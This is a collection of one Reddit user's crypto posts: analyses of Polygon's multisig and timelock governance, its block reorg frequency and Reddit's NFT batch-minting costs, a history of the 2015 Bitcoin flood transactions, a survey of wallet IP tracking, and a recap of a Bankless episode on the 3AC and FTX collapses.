Reddit User Account Overview

/u/



https://www.reddit.com/r/0xPolygon/comments/10iyk6o/about_that_timelock_contract_that_replaced_the/

**Background**: So a lot of people know and complain about Polygon's "5 out of 8 Multisig" account. It was most noticeably brought up [in May 2021 by Chris Blec](https://defiwatch.net/second-letter-to-polygon/) as a complaint about decentralization and control. This account is a Gnosis Safe contract that controls access to multiple other Polygon contracts, including: * [Polygon PoS bridge contract](https://etherscan.io/address/0xa0c68c638235ee32657e8f720a23cec1bfc77c77) * [Polygon Plasma bridge contract](https://etherscan.io/address/0xa0c68c638235ee32657e8f720a23cec1bfc77c77) * [Polygon Staking contract](https://etherscan.io/address/0x5e3Ef299fDDf15eAa0432E6e66473ace8c13D908) **Correcting Misinformation**: And if you search for "5 out of 8 multisig" on Reddit or Google, you get plenty of references to it. Even on this sub and r/CC, there are multiple posts on it in the past year. But apparently no one has been researching it since it's actually a 5 out of 9 multisig with Polygon controlling 5. And a Timelock contract was inserted into the contracts in Aug 2021. The multisig contract is [a Gnosis Safe](https://etherscan.io/address/0xFa7D2a996aC6350f4b56C043112Da0366a59b74c) that was [created on Jul 1, 2020](https://etherscan.io/tx/0x1c6c4cd001e65bb249a4aacf1a8551b39cba271fb91f3035b3a7032d47a2bb24). **Polygon's Response**: Polygon responded to the initial concern about the multisigs [in a Tweet](https://twitter.com/0xPolygon/status/1393256852201238534) on May 14, 2021 saying that they had plans to do the following: 1. Move from multisigs to governance-controlled proxies 1. Introduce timelocks 1. Remove the multisigs/upgradeability (eventually) [A TimeLock contract](https://etherscan.io/address/0xCaf0aa768A3AE1297DF20072419Db8Bb8b5C8cEf) was created 3 months later in Aug 2021 and given ownership of the Polygon PoS/Plasma bridge contracts and of the Staking contract. What the [TimeLock contract does](https://docs.openzeppelin.com/contracts/3.x/api/access#TimelockController) is force actions to wait with a 172800 second _minDelay (48 hours) before they are executed. Thus, they've already completed step 2. And now the multisig Gnosis Safe now indirectly controls those vital Polygon contracts through the TimeLock contract through its [Executor and Proposer roles](https://etherscan.io/tx-decoder?tx=0xf3133784471585924744c96dd780e2326615f353de9f95f8271efa3c6b2a0810). ------------ **There are several concerns about all of this**: 1. **No one is doing their research**. Otherwise, we would've known about the Timelock contract 1. **No one has ever documented or reported about this**. I checked Polygon Twitter, Polygon forums, Reddit, Polygon documentation, Google. **And there's not a single report of this Timelock contract.** The only document that mentions 'timelock' [on Polygon's website](https://wiki.polygon.technology/docs/faq/commit-chain-multisigs/), last updated on [Sept 8, 2022](https://github.com/maticnetwork/matic-docs/blob/master/docs/faq/commit-chain-multisigs.mdx), is incorrect. Why did they silently update this without any records? It would've been positive progress to announce this back in Aug 2021. 1. **The multisig Gnosis Safe contract still exists** and [has been very busy](https://etherscan.io/address/0xFa7D2a996aC6350f4b56C043112Da0366a59b74c) with 40 contract executions in the past year. I don't know when they added the 9th owner, but it apparently it was done silently since no one knows about it. Gnosis Safe contract transactions are hard to decode, and I don't have the time to look through the 100+ Txs to figure out when it happened. 1. Quickswap, Curve, Horizon Games, and Cometh own 4 of the signatures, which means Polygon owns 5. That's actually WORSE than the original concern when when they needed at least 1 DeFi member to sign. **Now Polygon has enough control to unilaterally access execute updates without any DeFi member.**

posted by /u/Maleficent_Plankton in /r/0xPolygon on January 22, 2023 19:08:32

https://www.reddit.com/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/

####**TL;DR**: The Polygon PoS network has a unique block production mechanism (of sprintLength = 64) where **128-depth reorgs** (5 minute Tx reversals) can happen as easily as 1-depth reorgs on other blockchains. It has more double-digit-depths reorgs than its competitors. Here's why that's happening. --------------- There are a lot of things I like about Polygon: it's fast, it's cheap, it has a thriving developer community. Like most EVM-blockchains, it has easily-auditable smart contracts. **However, it does have a serious design flaw unique to its blockchain where 10+ depth block reorgs are happening DAILY**. Block reorgs happen when previous blocks are invalidated. Any transactions from those blocks are removed from the blockchain. Most blockchains that have probabilistic finality tend to have these occasionally, but they're usually only of 1 depths, which means only the previous block was overwritten. For example, Bitcoin has already had at least two 1-block reorgs in Jan 2023. That's not a big issue since most clients wait several blocks before assuming probabilistic finality. But when transactions from 30-100 blocks ago get reversed, that's a big issue. ####**Reorgs are happening frequently on Polygon at high depths** * **Polygon PoS**: * Polygon PoS has had [654 reorgs](https://polygonscan.com/blocks_forked) in the past 121 days, or about **5 reorgs a day** * A third of these had double-digit block reorg depth * Every week, there's usually at least one with a reorg depth of 30+ blocks. At 2-second block times, that's a minute of blocks re-written. * Here's [one from a month ago](https://polygonscan.com/block/36757444/f?hash=0xf9aefee3ea0e4fc5f67aac48cb6e25912158ce9dca9ec6c99259d937433d6df8) that had a reorg depth of **120 blocks**. That's transactions from 4 minutes before getting re-written. That's an order of magnitude faster than slow networks like Bitcoin, but bad for a fast blockchain like Polygon PoS. * The only other blockchain with more frequent invalid blocks is Solana (by a wide margin) * 2/3rds of the reorgs are caused by [1 single validator](https://polygonscan.com/address/0x7c7379531b2aee82e4ca06d4175d13b9cbeafd49), which is also [number 3](https://polygonscan.com/stat/miner?range=7&blocktype=blocks) on the list of top validators. **For comparison to similar blockchains**: * **Ethereum**: * Only had [33 reorgs in 121 days](https://etherscan.io/blocks_forked), or 1 reorg every 4 days * Reorgs are all at 1 depths * Thus, you only need to wait 24 seconds probabilistic finality * **BSC**: * Only has a [handful of reorgs](https://bscscan.com/blocks_forked) in the past 100 days * Reorgs are under 5 depths. Faster block times usually lead to more reorgs while more centralization leads to fewer block reorgs. Polygon is closer to BSC with its fast 2s block times and under 100 validators. You would assume that those validators would be of higher quality and not making so many reorgs. ####**So why is this issue so prevalent on Polygon PoS compared to other chains?** * Polygon uses 2 blockchain protocols for consensus: a GETH-based blockchain (Bor) for block production and a Tenderment-based blockchain (Heimdall) for validation. * For efficiency, Polygon's Bor block producers will produce [sprintLength](https://wiki.polygon.technology/ko/docs/pos/bor/) number of blocks in a row instead of switching every block before delivering them to Heimdall. * That means if a validator accidentally missed blocks from the previous block producer's sprint, **they can reorg up to a depth of 2x sprintLength blocks**. * At 64 sprintLength, this means a max of a [128-depth block reorg](https://polygon.technology/blog/hardfork-incoming-upgrading-polygon-pos-chain-to-boost-performance). **Upcoming PIP-5 update mitigates, but doesn't eliminate the problem** There is [an upcoming update](https://forum.polygon.technology/t/pip-5-change-in-sprintlength/10874) that proposes to reduce SprintLength from 64 to 16. Unfortunately, this only reduces maximum reorg depth from 128 blocks to 32. That means you can still get a reorg from 32 blocks ago, or about 1 minute. Much better, but still ugly. **Until then, please realize that your Polygon PoS transactions are NOT final until waiting about 128 blocks or 4.5 minutes.**

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 11:18:45

https://www.reddit.com/r/0xPolygon/comments/10bvruq/polygons_block_reorg_problem_daily_10_depth_reorgs/

**Polygon PoS, which has probabilistic finality, seems to have a serious fork/reorg problem** And I'd like to figure out why there are so many 10+ depth reorgs on Polygon PoS when there are only < 100 validators. You would assume that with fewer validators, those validators would be of higher quality and not making so many reorgs. **Polygon PoS**: In the 121 days since the Ethereum merge, Polygon PoS has had [654 reorgs](https://polygonscan.com/blocks_forked), 1/3 of which had double-digit block reorg depth. Every week, there's usually at least one with a reorg depth of 30+ blocks. At 2-second block times, that's a minute of blocks re-written. Here's [one from a month ago](https://polygonscan.com/block/36757444/f?hash=0xf9aefee3ea0e4fc5f67aac48cb6e25912158ce9dca9ec6c99259d937433d6df8) that had a reorg depth of **120 blocks**. That's 4 minutes of transactions re-written. So you have to wait minutes before being probabilistically-certain that your transaction is final. For comparison to similar blockchains: **Ethereum**: In the past 121 days since the merge, it's only had [33 reorgs in 121 days](https://etherscan.io/blocks_forked), all of which were at a depths of 1 block reorged. That means you can effectively wait 2 blocks for probabilistic finality or 24 seconds. That's excellent. **BSC**: Only has a handful of reorgs every 100 days, and these are almost always under a depths of 5 block. **Why is this issue so prevalent on Polygon PoS compared to other chains?** It's not just one or 2 bad actors. It's dozens of different validators doing this. Of the past 100 days, here are the top validators making reorgs: * 0x9ea...b6d0 - 84 reorgs * 0x72f9...1fa4 - 59 reorgs * 0x794e...5888 - 45 reorgs * 0x7c73...fd49 - 40 reorgs That validator at the top of reorgs is also the general [top validator](https://polygonscan.com/topstat#Overview) of the Polygon PoS chain. **Upcoming update doesn't eliminate the problem**: Here's [a deeper discussion about it](https://forum.polygon.technology/t/pre-pip-discussion-addressing-reorgs-and-gas-spikes/10623) and proposes to mitigate it but not get anywhere close to eliminating it. Looking at the charts, reducing SprintLength from 64 to 16 seems to reduce reorg depth by about 2x. That's it.

posted by /u/Maleficent_Plankton in /r/0xPolygon on January 14, 2023 13:38:09

https://www.reddit.com/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/

**TL;DR: The Reddit Recap 2022 contracts is dominating the Polygon PoS top statistics charts. It's making 4x as many transfers by itself as the next 20 top senders on the Polygon PoS network combined.** **-----------------------------------** If you take a look at the [Top Statistics page](https://polygonscan.com/topstat#OverviewDay7) on the PolygonScan blockchain explorer, Reddit's 0x0b1c8... address is at the top of both the "**Top Gas Used**" and "**Top Txn Count**" charts for the past 7 days. And that's despite using batch transactions and only having started minting the Recap 2022 series 5 days ago. &#x200B; [#1 in \\"Top Gas Used\\" and \\"Top Txn Count\\" for the past week](https://preview.redd.it/rtdrjort7v6a1.png?width=864&format=png&auto=webp&s=784318d8c1e9b129d47906d0acfaed74d94b0925) Their #1 **Top Gas Used** spot is pretty amazing considering that they're already using batch transactions to save 50-75% on gas fees. And it's actually only \~$4K spent on gas in the past week. It's been minting hundreds of NFTs nonstop for the past 5 days. **Batch Transfers** Reddit's NFT contracts use batch transfers. Even though it already shows them at the #1 spot for transactions sent, it's even more amazing once you take into account that **each transaction consists of up to 200 transfers**. The Reddit Recap 2022 series alone has made 1.2M transfers in the past 114 hours (\~5 days), which is an average 11K transfers per hour. Each of their batch minting transaction packed an average of 110 NFT mints per Tx. &#x200B; [Already #1 in Tx Sent despite that each of its Tx represents 100+ transfers \(on average\)](https://preview.redd.it/tam4k55y7v6a1.png?width=749&format=png&auto=webp&s=015bd7ee751cabe80262e8bcc73effcd1422544a) If you look at the "[Top Txn Count Sent](https://polygonscan.com/topstat#Transaction)", #2 - #20 combined have only made 347K transfers in the past 7 days, and none of them are doing batch transactions. Reddit's minter is responsible for minting all of the Reddit Collectible Avatars and executing transfers. **Their** [**Reddit Recap 2022 contract**](https://polygonscan.com/token/0xc8d3a3a83bde5dad06d436694e3e22ac3e64d577) **by itself is producing 32x as many transfers as the #2 spot, and 4x as many transfers as the other top 20 senders COMBINED.** Reddit is absolutely dominating the top of the Polygon charts. If you wanted proof Reddit is driving crypto utility, here it is. (For more details, see [https://mplankton.substack.com/p/reddit-recap-2022-collectible-avatars](https://mplankton.substack.com/p/reddit-recap-2022-collectible-avatars))

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 09:31:57

https://www.reddit.com/r/CryptoCurrency/comments/zoa30k/summary_of_random_interesting_facts_about_the/

##**Reddit Recap 2022 Collectible Avatars** This is just a collection of random interesting facts I've found about the Reddit Recap 2022 Collectible Avatars. ####**Efficient Batch minting** * All the ERC-1155 Reddit NFTs being minted right now by Reddit are using **batch minting** to save on Tx fees by using less gas. * Reddit is minting up to [200 NFTs at a time at 6M gas](https://polygonscan.com/tx/0xf9130e0b3fdea591a5ccc5b5f8126cdda2f17a0e6c43f89677f72ebfee52b591), which is about 30k gas per NFT. That's currently $0.001/NFT mint. * This is about a 50-75% savings in gas compared to the usual single-minting. For example, [Token ID 5320581](https://polygonscan.com/tx/0x2f1120052d9ee0277d09d83e1edcea30da3f18e7ba85215a70abc3a66c5a8583) of the same collection was single-minted at the cost of 65k gas. Minting NFTs on other less-efficient contracts can cost as much as 120-150k gas, so this is an extremely-efficient minting. * 30k gas per mint is the equivalent of doing 250 TPS for minting on Polygon PoS (or 42 TPS if this were Ethereum mainnet) ####**Collectors and NFTs** * **Over 3 days, 950,000 ERC-1155 tokens have been deployed at the cost of ~$1300 to Reddit. The contract is still minting hundreds of NFTs per minute non-stop.** * All the ERC-1155 NFTs are being stored on IPFS (deployed using Infura as a gateway) * [List of largest collectors](https://polygonscan.com/token/0xc8d3a3a83bde5dad06d436694e3e22ac3e64d577#balances) * Currently, there is 1 whale with 50 NFTs * There are 13 others with 10+ NFTs * **First token minted** (ID 1) was deployed 9 days ago, but the [transaction failed](https://polygonscan.com/tx/0xf930db7c6546d6ac072c0f06315ac22575ab6809d8251710fb9a7e376eea3b2e). Otherwise, it would've been this [World Travelers #2 NFT](https://reddit.infura-ipfs.io/ipfs/QmdjnBgh7nmSF3Wf5qDms8XGP9GdsvQTEHjGkJsxxgh8un). (It was later re-minted in a batch transaction.) * **First successful token minted**, [Enlightenment Seekers #1](https://reddit.infura-ipfs.io/ipfs/QmXB2ZaAYwLN7ibyGhzH3y1sfiySvoAFcjVF42BfcdBuqT/5320581.json), was deployed 6 days later at a random ID 5320581 with [this image](https://reddit.infura-ipfs.io/ipfs/QmVXLrbb3ioQwrGqqXoSEkoWmznVDoPyB822cmiv3RonBm). But it was burned 2 days later. This was likely a test mint. (It was also later re-minted in a batch transaction.) * **First real token possibly minted for a Redditor**, Coin Collectors #1, was [ID 1407989](https://reddit.infura-ipfs.io/ipfs/QmUa9n8WrJLHayVXy3VyFYgPNNvuV58q4zmUQN74dBqLfJ/1407989.json), with [this image](https://reddit.infura-ipfs.io/ipfs/QmZLKMrDf7Tib5mkNJU17e3jGhMmy1NryWoTVMwrVCbVSr). **While other tokens were all batch-minted, this one is unique in that it was single-minted.** I don't know who owns this address, but it must be someone really special since the other #1 NFTs all used batch mints. (This address also received MOONs for the first time 2 days ago, but doesn't have any activity at all.) ####**On OpenSea** * Only 0.06% of the token have been listed on [OpenSea](https://opensea.io/collection/reddit-recap-2022-x-reddit-collectible-avatars) for sale. * The most expensive sale was [Anime Kids #1](https://opensea.io/assets/matic/0xc8d3a3a83bde5dad06d436694e3e22ac3e64d577/4273990). That's a good-looking one, and I might just steal it. * Cheapest one is at 0.0013 ETH or $1.50 * A total of 13 ETH has been spent on trading the tokens. ####**Contract deployment gas savings** * The [Reddit Deployer](https://polygonscan.com/address/0x36fb3886cf3fc4e44d8b99d9a8520425239618c2) address responsible for deploying all the collectible avatar contracts over the past year has deployed ~150 collection contracts. * The Recap 2022 Collectible Avatars contract was deployed by the Reddit Deployer for [586k gas](https://polygonscan.com/tx/0x70d6540cfbbc6beb77821da5a885c620fdd1c33833768ba85e8f6e11fa50ee58), or $.02 of MATIC at the time. **That's insanely cheap**. Its deployment used 80% less gas than a normal-sized NFT contract. * The reason it used less gas is because it's using an [EIP-1967 Proxy contract](https://eips.ethereum.org/EIPS/eip-1967) for its implementation, which took [4.4M+ gas to deploy](https://polygonscan.com/address/0x41036773194699985fbf49a0e574c308125d4e91), currently $0.12. This is the same proxy contract that was used to deploy the other set of free NFTs we received 4 months ago. * Since multiple avatar collections share the same logic, it makes sense for them to all reference that one Proxy Contract. Using proxies **saves gas** when deploying new collections since the gas-expensive proxy contract only needs to be deployed once and can be shared by many different collection contracts. More importantly, it also helps organize the logic of the contracts and **makes them upgradeable**. Usually calling other contracts costs more gas, but if you're using batch minting, the call cost is negligible. * For the record, the MOONs tokens contract is also upgradeable, for better or worse. * Equivalent EVM transactions on Polygon are still about 50-100x cheaper than on EVM-compatible Ethereum Layer 2 rollups like Arbitrum One and Optimism.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 11:33:25

https://www.reddit.com/r/CryptoCurrency/comments/z7f12o/serious_in_july_2015_the_largestsized_bitcoin/

The biggest Bitcoin transactions (in terms of bytesize and UTXO number) ever made were all done in 2015 around the same time as a series of attacks and vulnerability checks for Bitcoin. They were absolutely massive and hit the limits of blocksize and UTXO number. This is what they looked like: ####**Largest Transactions** * [Largest Bitcoin transaction](https://blockchair.com/bitcoin/transaction/bb41a757f405890fb0f5856228e23b715702d714d59bf2b1feb70d8b2b4e3e08): 99.97% of the block size, 0 fees * [2nd largest transaction](https://blockchair.com/bitcoin/transaction/5d8875ed1707cfee2221741b3144e575aec4e0d6412eeffe1e0fa07335f61311): 99.96% of the block size, ~$15 fee * [Largest batch transaction](https://blockchair.com/bitcoin/transaction/5f4d2593c859833db2e2d25c672a46e98f7f8564b991af9642a8b37e88af62bc): 84% of the block. * There were 9 of these transactions on Aug 1. They each had 20000 input UTXOs, which is the limit for a single transaction. * They were useless wasted block space sent to OP_RETURN without any metadata. I don't know the exact history behind this one, but all signs point to another attack similar to the ones a month earlier. ####**July 2015 Flood Attacks** Back in July 2015, there were half a dozen SIGHASH_ALL transactions that took up 99.9% of the block space. They paid $0-15 BTC in fees and were sent to OP_RETURN. In comparison, most block fees nowadays around $2000-5000. This was done as a [Proof-of-concept DoS](https://en.bitcoin.it/wiki/July_2015_flood_attack) attack that ended up being way more successful than it meant to be. ####**Signature Hashing Vulnerability** In addition to the wasted space, for each of the 5000 inputs, miners had to hash the entire 1MB transaction. Some nodes were delayed 10-20 seconds hashing the signatures due to a design-flaw by Satoshi Nakamoto that made counting signatures an O(N^2) instead of O(N) process. This also wasted [~1.2GB of hashed data](https://www.youtube.com/watch?v=j5OjMdqkiiI&t=660s) to compute it, and lead to 80K transactions being stuck in the mempool. To this day, OP_RETURN transactions are frowned upon. This vulnerability, [CVE-2013-2292](https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures), has been known since 2013. Lead core developer, Gavin Andresen, proposed fix to this in [BIP-101](https://github.com/bitcoin/bips/blob/master/bip-0101.mediawiki), but that got withdrawn. Eventually, this along with other disputes, lead to his leaving the Bitcoin community along with many other Bitcoin developers. The vulnerability is still not entirely fixed, but it was mostly mitigated by [BIP-143](https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki) as part of the SegWit update. No one is exploiting this anymore.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 20:15:31

https://www.reddit.com/r/CryptoCurrency/comments/z6y9si/serious_in_july_2015_the_largestsized_bitcoin/

The biggest Bitcoin transactions (in terms of bytesize and UTXO number) ever made were all done in 2015 around the same time as a series of attacks and vulnerability checks for Bitcoin. They were absolutely massive and hit the limits of blocksize and UTXO number. This is what they looked like: ####**Largest Transactions** * [Largest Bitcoin transaction](https://blockchair.com/bitcoin/transaction/bb41a757f405890fb0f5856228e23b715702d714d59bf2b1feb70d8b2b4e3e08): 99.97% of the block size, 0 fees * [2nd largest transaction](https://blockchair.com/bitcoin/transaction/5d8875ed1707cfee2221741b3144e575aec4e0d6412eeffe1e0fa07335f61311): 99.96% of the block size, ~$15 fee * [Largest batch transaction](https://blockchair.com/bitcoin/transaction/5f4d2593c859833db2e2d25c672a46e98f7f8564b991af9642a8b37e88af62bc): 84% of the block. * There were 9 of these transactions on Aug 1. They each had 20000 input UTXOs, which is the limit for a single transaction. * They were useless wasted block space sent to OP_RETURN without any metadata. I don't know the exact history behind this one, but all signs point to another attack similar to the ones a month earlier. ####**July 2015 Flood Attacks** Back in July 2015, there were half a dozen SIGHASH_ALL transactions that took up 99.9% of the block space. They paid $0-15 BTC in fees and were sent to OP_RETURN. In comparison, most block fees nowadays around $2000-5000. This was done as a [Proof-of-concept DoS](https://en.bitcoin.it/wiki/July_2015_flood_attack) attack that ended up being way more successful than it meant to be. ####**Signature Hashing Vulnerability** In addition to the wasted space, for each of the 5000 inputs, miners had to hash the entire 1MB transaction. Some nodes were delayed 10-20 seconds hashing the signatures due to a design-flaw by Satoshi Nakamoto that made counting signatures an O(N^2) instead of O(N) process. This also wasted [~1.2GB of hashed data](https://www.youtube.com/watch?v=j5OjMdqkiiI&t=660s) to compute it, and lead to 80K transactions being stuck in the mempool. To this day, OP_RETURN transactions are frowned upon. This vulnerability, [CVE-2013-2292](https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures), has been known since 2013. Lead core developer, Gavin Andresen, proposed fix to this in [BIP-101](https://github.com/bitcoin/bips/blob/master/bip-0101.mediawiki), but that got withdrawn. Eventually, this along with other disputes, lead to his leaving the Bitcoin community along with many other Bitcoin developers. The vulnerability is still not entirely fixed, but it was mostly mitigated by [BIP-143](https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki) as part of the SegWit update. No one is exploiting this anymore. --------------- https://bitcoin.stackexchange.com/questions/42790/who-mined-the-infamous-block-364422 https://www.youtube.com/watch?v=j5OjMdqkiiI&t=660s OP_Return: 七彩神仙鱼🐟Bitcoin to Pluto! Though it's much less of an issue now that hash power of newer miners is much larger. Also, [BIP-143](https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki) makes the signature hash mechanism that is O(n) instead of O(n^2).

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 09:41:06

https://www.reddit.com/r/CryptoCurrency/comments/z5bc1t/clarification_nearly_all_wallet_providers_are/

**Most wallets that connect to the Internet track your IP address**. This is often for bugs reports, statistics, and other uses. They'll store your IP address, and that could be logged and recovered in the future. And if you're using an offline wallet, it probably connects to an online service or RPC that does track you. So before you vilify Metamask/Infura and promote other wallets you think are safe, just realize that it's extremely common. Now whether it's a bad thing really depends on you. **Most dApps, web3 sites, and CEXs already track you, and you've probably given away your IP address many times already.** If you need to hide your tracks, you should've used a VPN that doesn't store your IP address in the first place. It's already too late. ####**Wallets that track IP** **Loopring** Complies with the law and tracks IP https://loopring.io/#/document/privacy_en.md > We will not share your information with third parties except to provide you with our services and products, to **comply with the law** or to protect our rights. > (c) Device information: We will collect the relevant information of your device using our services, including device ID, version information of the mobile device operating system, mobile device platform type (iOS or Android), phone language, channel information (e.g., GooglePlay, Apple App Store), **IP address** in order to provide statistical analysis services, and calibrate the accuracy of report data through geographic location to provide basic anti-fraud function. **Gamestop** Tracks IP, GPS, and lots of device info: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace https://wallet.gamestop.com/privacy **TrustWallet** Tracks IP: https://trustwallet.com/privacy-policy/ **Ledger Live** Tracks IP, click actions: https://www.ledger.com/privacy-policy **Guarda** Tracks IP: https://guarda.com/privacy-policy/ **Metamask** Some (likely most) RPCs track IP, including the default Infura RPC for Ethereum mainnet **Electrum** Electrum connects to ~10 servers at a time, and they see your IP address. Chances are at least one of them is tracking it. ####**Wallets that mostly do not track IP** **Exodus** Not normally tracked. Is tracked when using the in-wallet exchange feature: https://support.exodus.com/article/138-what-information-does-exodus-have-access-to **MyEtherWallet** Does **not** track IP as far as I can tell unless you visit their site: https://www.myetherwallet.com/privacy-policy ####**Unknown** **SafePal** Collects IP address when visiting the website. Unknown about the app. **Trezor Suite** Website doesn't say

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 11:21:39

https://www.reddit.com/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/

**The latest detailed [Bankless episode](https://www.youtube.com/watch?v=IvAYINNcj50) is pretty brutal**. It says that the bulk of the 2021 Bull run was caused by a ponzi system created by the crypto hedge funds and yield farming protocols. In the first 10 minutes, David straight up says that the 2021 price bull run was fueled by a giant ponzi scheme with all of DeFi and the minted shitcoins. This involved the crypto hedge funds, 3AC, Alameda, Genesis, all the CeFi companies offering interest, Yield Pools, FTX, ETH killers, and many more. His theory is that this was all fueled by high compound interest, liquidity staking, yield farming (the stuff Aave, Compound, Pancakeswap, etc. are known for). This probably explains why David has been looking a lot more stressed in recent episodes. ####**The Super cycles** - 2013-2014 bull market: caused by PoW copycats (OP: along with Mt. Gox and Silk Road) - 2016-2017 bull market: caused by ICOs - 2020-2021 bull market: caused by yield farming, which started with Compound in Dec 2020. This fed into the CeFi lending and all the crypto hedge funds. (OP: Retail also pumped a lot into both crypto and stock markets with funds from stimulus checks and quantitative easing.) That was pretty brutal reveal, and it also might explain why David has been looking a lot more stressed in recent episodes. It's definitely a strong reverse of the typical Bankless pro-crypto stance. ####**2020 to mid-2022: 3AC, DCG, Grayscale GBTC scheme explained** Here's my best summary. This probably isn't 100% accurate because there's so much info presented, and I don't understand every section of it: 1. Gemini Earn borrows BTC from from retail customers, which then gets lent to Genesis/DCG, which then gets lent to crypto hedge funds like 3AC 1. DCG/Genesis is the only company that can mint GBTC out of thin air 1. Unlike retail customers, 3AC is able to acquire GBTC 1:1 for BTC. It trades its BTC for GBTC and begins selling GBTC, which at that time had a premium was worth way more than BTC. 3AC kept trading BTC for GBTC and then selling GBTC, which absolutely destroyed the value of GBTC. GBTC's premium quickly became a discount. That's pretty much how 3AC made all their money. 1. With the discount, all GBTC holders are underwater compared to BTC, which is temporarily fine since BTC's value also went up. But once BTC's value falls, they're all way underwater. 1. OP: In addition, there's currently a lot of speculation on whether it actually has enough BTC collateral. GBTC acts like a futures market. GBTC only needs to redeem the amount of BTC 6 months after the redemption request, so it doesn't necessarily have to hold BTC 1:1. 1. 3AC then sold their profits and went into deep into investing into Ethereum killers like Avalanche, Solana, and Terra Luna. This whole time, their GBTC collateral is underwater compared to their BTC loans from Genesis. 1. Jerome Powell begins raising interests, starting the collapse of the Bitcoin bull market. BTC and ETH fall 50% from their ATH at the start of the year. 1. By Apr-May, the Terra Luna money making machine begins running out of steam. 3AC sells $1.5B worth of BTC for Terra's UST. Within a week, Terra's UST collapses, taking down half of the crypto hedge funds. 1. 3AC goes down under, along with Celsius, Voyager, BlockFi. 3AC being looking for funds from anyone who would lend to them. Doesn't get it and gets liquidated. Fails. 1. Genesis takes a big loss from their loan to 3AC but survive after getting bailed out from DCG. Everyone who expected more collateral to happen due to the Terra Luna/Celsius contagion were right. It just took more months to fully-realize because companies were good at hiding it. ####**Mid-2022 to now: FTX** 1. The Terra Luna collapse is also likely when Alameda Research and FTX secretly went underwater. 1. Alameda and FTX bail out BlockFi and Voyager with lines of credit (which we now know weren't backed by anything). This builds up a lot of false trust in FTX and Alameda as the good guys. 1. FTX takes customer deposits over and over again to secretly bail out Alameda Research, which then gets sent to Genesis because Alameda Research had loans from Genesis. - FTX core members continue to gaslight the crypto community and hide their fraud 1. FTX keeps afloat using their FTX shitcoins (FTT, SRM) as collateral. They manipulate the price and markets of their collateral by keeping the liquidity low while minting more out of thing air (through interest). The keep buying their shitcoins back to keep the prices up, and they're able to do this because they keep taking loans against these coins as collateral. That's a straight up Ponzi scheme because it's completely unsustainable. 1. The rest is history that's been covered over and over this week. At this point, Bankless temporarily puts on ther conspiracy hats starts wondering if the SEC knew about this ahead of time and just let the house of cards fall down on its own because that would've had a bigger effect. ####**Further contagion** 1. Genesis stops withdrawals and has a $1B hole. It announces it'll go bankrupt without additional line of credit. DCG also has a $1.1B promissory note to Genesis?? 1. DCG might go bankrupt. CZ takes a look and decides not to bail out DCG/Genesis/Grayscale. ####**Their conclusion** The bulk of the price action after Jan 2021 was caused by this giant yield-farming system akin to a ponzi scheme

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 10:21:44

https://www.reddit.com/r/CryptoReality/comments/z2hdv1/latest_detailed_bankless_episode_most_of_the_2021/

I watch a lot of Bankless (they're DeFi/Eth maxis and pro-crypto), and their [latest 2-hour episode](https://www.youtube.com/watch?v=IvAYINNcj50) was definitely not a normal episode. This was so much more like a Crypto Critics' Corner episode. This is probably going to go down in history as one of their best episodes. In the first 10 minutes, David Hoffman straight up says that the 2021 price bull run was fueled by a giant ponzi scheme with all of DeFi and the minted shitcoins. This involved the crypto hedge funds, 3AC, Alameda, Genesis, all the CeFi companies offering interest, Yield Pools, FTX, ETH killers, and many more. His theory is that this was all fueled by high compound interest, liquidity staking, yield farming (the stuff Aave, Compound, Pancakeswap, etc. are known for). ####**The Super cycles** - 2013-2014 bull market: caused by PoW copycats - 2016-2017 bull market: caused by ICOs - 2020-2021 bull market: caused by yield farming, which started with Compound in Dec 2020. This fed into the CeFi lending and all the crypto hedge funds That was pretty brutal reveal, and it also explains why David has been looking a lot more stressed in recent episode. It's definitely a strong reverse of the typical Bankless pro-crypto stance. ####**2020 to mid-2022: 3AC, DCG, Grayscale GBTC scheme explained** Here's my best summary. This probably isn't 100% accurate because there's so much info presented, and I don't understand every section of it: 1. Gemini Earn borrows BTC from from retail customers, which then gets lent to Genesis/DCG, which then gets lent to crypto hedge funds like 3AC 1. DCG/Genesis is the only company that can mint GBTC out of thin air 1. Unlike retail customers, 3AC is able to acquire GBTC 1:1 for BTC. It trades its BTC for GBTC and begins selling GBTC, which at that time had a premium was worth way more than BTC. 3AC kept trading BTC for GBTC and then selling GBTC, which absolutely destroyed the value of GBTC. GBTC's premium quickly became a discount. That's pretty much how 3AC made all their money. 1. With the discount, all GBTC holders are underwater compared to BTC, which is temporarily fine since BTC's value also went up. But once BTC's value falls, they're all way underwater. 1. 3AC then sold their profits and went into deep into investing into Ethereum killers like Avalanche, Solana, and Terra Luna. This whole time, their GBTC collateral is underwater compared to their BTC loans from Genesis. 1. Jerome Powell begins raising interests, starting the collapse of the Bitcoin bull market. BTC and ETH fall 50% from their ATH at the start of the year. 1. By Apr-May, the Terra Luna money making machine begins running out of steam. 3AC sells $1.5B worth of BTC for Terra's UST. Within a week, Terra's UST collapses, taking down half of the crypto hedge funds. 1. 3AC goes down under, along with Celsius, Voyager, BlockFi. 3AC being looking for funds from anyone who would lend to them. Doesn't get it and gets liquidated. Fails. 1. Genesis takes a big loss from their loan to 3AC but survive after getting bailed out from DCG. Everyone who expected more collateral to happen due to the Terra Luna/Celsius contagion were right. It just took more months to fully-realize because companies were good at hiding it. ####**Mid-2022 to now: FTX** 1. The Terra Luna collapse is also likely when Alameda Research and FTX secretly went underwater. 1. Alameda and FTX bail out BlockFi and Voyager with lines of credit (which we now know weren't backed by anything). This builds up a lot of false trust in FTX and Alameda as the good guys. 1. FTX takes customer deposits over and over again to secretly bail out Alameda 